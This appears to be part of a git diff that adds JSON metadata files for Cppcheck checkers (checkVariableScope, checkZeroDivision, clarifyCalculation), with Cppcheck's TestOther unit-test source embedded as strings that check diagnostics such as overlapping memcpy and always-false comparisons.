x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVariableScope.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVariableScope.json new file mode 100644 index 0000000..bbd3c8d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVariableScope.json @@ -0,0 +1,13 @@ +{ + "name": "checkVariableScope", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 101, + "branches": 48, + "apis": 127, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkZeroDivision.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkZeroDivision.json new file mode 100644 index 0000000..c355008 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkZeroDivision.json @@ -0,0 +1,22 @@ +{ + "name": "checkZeroDivision", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 17, + "branches": 7, + "apis": 24, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 377 + ], + "code": "check(\"{\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyCalculation.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyCalculation.json new file mode 100644 index 0000000..89548c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/clarifyCalculation.json @@ -0,0 +1,22 @@ +{ + "name": "clarifyCalculation", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 41, + "branches": 16, + "apis": 64, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6648 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n 